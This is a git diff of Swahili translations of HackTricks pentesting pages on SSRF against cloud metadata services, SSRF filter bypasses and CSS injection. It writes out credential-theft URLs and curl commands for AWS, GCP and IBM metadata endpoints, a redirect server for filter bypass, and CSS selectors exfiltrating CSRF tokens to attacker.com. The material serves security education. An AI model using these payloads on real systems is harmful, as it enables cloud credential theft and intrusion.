Kama mfano wa **vyeti vya IAM vinavyopatikana hadharani** vilivyofichuliwa unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
Kama mfano wa **vyeti vya IAM vilivyofichuliwa kwa umma** unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||||
|
|
||||||
Unaweza pia kuangalia **vyeti vya usalama vya EC2 vya umma** katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
Unaweza pia kuangalia **vyeti vya usalama vya EC2 vya umma** katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||||
|
|
||||||
Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina idhini** ya kufanya.
|
Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina ruhusa** kufanya.
|
||||||
|
|
||||||
Ili kunufaika na vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
|
Kutumia vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
|
||||||
```
|
```
|
||||||
[profilename]
|
[profilename]
|
||||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||||
|
@ -107,7 +115,7 @@ Tambua **aws\_session\_token**, hii ni muhimu kwa wasifu kufanya kazi.
|
||||||
|
|
||||||
### SSRF katika AWS ECS (Huduma ya Kontena) siri
|
### SSRF katika AWS ECS (Huduma ya Kontena) siri
|
||||||
|
|
||||||
**ECS**, ni kikundi la mantiki la visa vya EC2 ambavyo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudukua huduma inayotumika katika **ECS**, **vifaa vya metadata hubadilika**.
|
**ECS**, ni kikundi la mantiki la visa vya EC2 ambavyo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudhoofisha huduma inayotumika katika **ECS**, **vifaa vya mwisho vya metadata** hubadilika.
|
||||||
|
|
||||||
Ikiwa unafikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma **mazingira** ya kipekee **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
|
Ikiwa unafikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma **mazingira** ya kipekee **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
|
||||||
Unaweza kuisoma kwa kutumia **Path Traversal** kwa `file:///proc/self/environ`\
|
Unaweza kuisoma kwa kutumia **Path Traversal** kwa `file:///proc/self/environ`\
|
||||||
|
@ -116,23 +124,23 @@ Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
|
||||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Tafadhali kumbuka kuwa **katika baadhi ya kesi** unaweza kupata ufikivu wa **taarifa ya kifaa cha EC2 metadata** kutoka kwenye kontena (angalia vikwazo vya TTL vya IMDSv2 vilivyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kupata ufikivu wa jukumu la IAM la kontena na jukumu la IAM la EC2.
|
Tafadhali elewa kwamba katika **baadhi ya kesi** utaweza kupata ufikivu wa **taarifa ya EC2 metadata instance** kutoka kwenye kontena (angalia vikwazo vya IMDSv2 TTL vilivyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kupata ufikivu wa jukumu la IAM la kontena na jukumu la IAM la EC2.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### SSRF kwa AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
### SSRF kwa AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
|
||||||
Katika kesi hii **vyeti vimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuzipata unahitaji kupata kitu kama **`file:///proc/self/environ`**.
|
Katika kesi hii **vyeti vimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuzipata unahitaji kupata kitu kama **`file:///proc/self/environ`**.
|
||||||
|
|
||||||
**Jina** la **mazingira muhimu ya env** ni:
|
**Jina** la **mazingira ya env yanayovutia** ni:
|
||||||
|
|
||||||
* `AWS_SESSION_TOKEN`
|
* `AWS_SESSION_TOKEN`
|
||||||
* `AWS_SECRET_ACCESS_KEY`
|
* `AWS_SECRET_ACCESS_KEY`
|
||||||
* `AWS_ACCES_KEY_ID`
|
* `AWS_ACCES_KEY_ID`
|
||||||
|
|
||||||
Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama ndani ya **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama vile ndani ya **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Tafadhali kumbuka kuwa **vyeti vya lambda** vimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, ni rahisi kuzitoa kwa kusababisha **kosa katika programu**.
|
Tafadhali elewa kwamba **vyeti vya lambda** vimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, ni rahisi kuzipata kwa kusababisha **kosa katika programu**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### URL ya SSRF kwa AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
### URL ya SSRF kwa AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
@ -142,7 +150,7 @@ Tunapata `accountId` na `region` kutoka kwenye API.
|
||||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||||
```
|
```
|
||||||
Tunakisha kupata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwa API.
|
Tunakisha kupata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwenye API.
|
||||||
```
|
```
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||||
```
|
```
|
||||||
|
@ -247,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
||||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Ili **kutumia tokeni ya akaunti ya huduma iliyochotwa** unaweza tu kufanya:
|
Ili **kutumia tokeni ya akaunti ya huduma iliyochotwa**, unaweza tu kufanya:
|
||||||
```bash
|
```bash
|
||||||
# Via env vars
|
# Via env vars
|
||||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||||
|
@ -267,7 +275,7 @@ Chukua token
|
||||||
```
|
```
|
||||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||||
```
|
```
|
||||||
Angalia wigo wa token (kwa matokeo ya awali au uendeshe yafuatayo)
|
Angalia wigo wa tokeni (kwa matokeo ya awali au kwa kukimbia yafuatayo)
|
||||||
```bash
|
```bash
|
||||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||||
"issued_to": "101302079XXXXX",
|
"issued_to": "101302079XXXXX",
|
||||||
|
@ -461,7 +469,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
||||||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Tafadhali kumbuka kuwa kwa chaguo-msingi IBM metadata haijashughulikiwa, hivyo huenda usiweze kuipata hata kama uko ndani ya IBM cloud VM
|
Tafadhali elewa kwamba kwa chaguo-msingi IBM metadata haijashughulikiwa, hivyo huenda usiweze kuipata hata kama uko ndani ya IBM cloud VM
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -490,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa mifano zinaweza kupatikana. Kila jukwaa lina vituo vya pekee vya kupata huduma zake za metadata.
|
Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa ajili ya mifano yanaweza kupatikana. Kila jukwaa lina vituo vya pekee vya kupata huduma zake za metadata.
|
||||||
|
|
||||||
## Packetcloud
|
## Packetcloud
|
||||||
|
|
||||||
|
@ -534,7 +542,7 @@ Kubernetes ETCD inaweza kuhifadhi funguo za API, anwani za IP za ndani, na banda
|
||||||
|
|
||||||
## Docker
|
## Docker
|
||||||
|
|
||||||
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano zikitolewa kwa kupata maelezo ya kontena na picha:
|
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano iliyotolewa kwa kupata maelezo ya kontena na picha:
|
||||||
|
|
||||||
* Mfano rahisi wa kupata metadata ya kontena na picha kupitia soketi ya Docker:
|
* Mfano rahisi wa kupata metadata ya kontena na picha kupitia soketi ya Docker:
|
||||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||||
|
|
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -14,6 +14,14 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### Mwenyeji wa Ndani
|
### Mwenyeji wa Ndani
|
||||||
```bash
|
```bash
|
||||||
# Localhost
|
# Localhost
|
||||||
|
@ -116,7 +124,7 @@ attacker。com
|
||||||
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
||||||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||||
```
|
```
|
||||||
### Mkanganyiko wa Kikoa
|
### Utata wa Kikoa
|
||||||
```bash
|
```bash
|
||||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||||
# Try replacing https by http
|
# Try replacing https by http
|
||||||
|
@ -161,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||||
```
|
```
|
||||||
### Fuzzing
|
### Fuzzing
|
||||||
|
|
||||||
Chombo [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuzalisha mabadiliko kutoka kwa data iliyotolewa ili kujaribu kukiuka regex iliyotumiwa. Angalia [**chapisho hili**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
Chombo [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuzalisha mabadiliko kutoka kwa data iliyotolewa kujaribu kukiuka regex iliyotumiwa. Angalia [**chapisho hili**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
||||||
|
|
||||||
### Kupitisha kupitia kuelekeza
|
### Kukiuka kupitia kuelekeza
|
||||||
|
|
||||||
Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza **kuchuja paramu ya url**. Lakini ikiwa utatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza **kupata anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama gopher.\
|
Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **kuchuja paramu ya url**. Lakini ikiwa unatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama gopher.\
|
||||||
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
[Tazama ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
@ -187,11 +195,11 @@ self.end_headers()
|
||||||
|
|
||||||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||||
```
|
```
|
||||||
## Mbinu Zilizoelezwa
|
## Maelezo ya Mbinu
|
||||||
|
|
||||||
### Mbinu ya Mshale-nyuma
|
### Mbinu ya Mshale-nyuma
|
||||||
|
|
||||||
_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kawaida ya URL ya WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla kwa URIs, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti kuu iko katika kutambua kwa kiwango cha WHATWG ya mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL.
|
_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kawaida ya URL ya WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti kuu iko katika kutambua kwa kiwango cha WHATWG ya mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL.
|
||||||
|
|
||||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||||
|
|
||||||
|
@ -206,16 +214,22 @@ picha kutoka [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsin
|
||||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Uingizaji wa CSS
|
# Kuingiza CSS
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -6,19 +6,27 @@
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Uingizaji wa CSS
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Kuingiza CSS
|
||||||
|
|
||||||
### Chaguo la Sifa
|
### Chaguo la Sifa
|
||||||
|
|
||||||
Vidhibiti vya CSS vinaundwa ili kulinganisha thamani za `jina` na `thamani` ya kipengele cha `input`. Ikiwa thamani ya kipengele cha input inaanza na herufi maalum, rasilimali ya nje iliyopangwa tayari inasomwa:
|
Vichaguzi vya CSS vimeundwa kulingana na thamani za sifa za `jina` na `thamani` ya kipengele cha `input`. Ikiwa thamani ya sifa ya kipengele cha `input` inaanza na herufi maalum, rasilimali ya nje iliyopangwa huload:
|
||||||
```css
|
```css
|
||||||
input[name=csrf][value^=a]{
|
input[name=csrf][value^=a]{
|
||||||
background-image: url(https://attacker.com/exfil/a);
|
background-image: url(https://attacker.com/exfil/a);
|
||||||
|
@ -31,30 +39,28 @@ input[name=csrf][value^=9]{
|
||||||
background-image: url(https://attacker.com/exfil/9);
|
background-image: url(https://attacker.com/exfil/9);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Hata hivyo, njia hii inakabiliwa na kikwazo wakati inashughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma.
|
Hata hivyo, njia hii inakabiliwa na kikwazo wakati wa kushughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma.
|
||||||
|
|
||||||
#### Kuepuka Vipengele Vilivyofichwa
|
#### Kupita kwa Vipengele Vilivyofichwa
|
||||||
|
|
||||||
Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kishikilizi cha ndugu cha jumla `~`. Sheria ya CSS basi inatumika kwa ndugu zote zinazofuata kipengele cha pembejeo kilichofichwa, ikisababisha picha ya mandharinyuma kupakia:
|
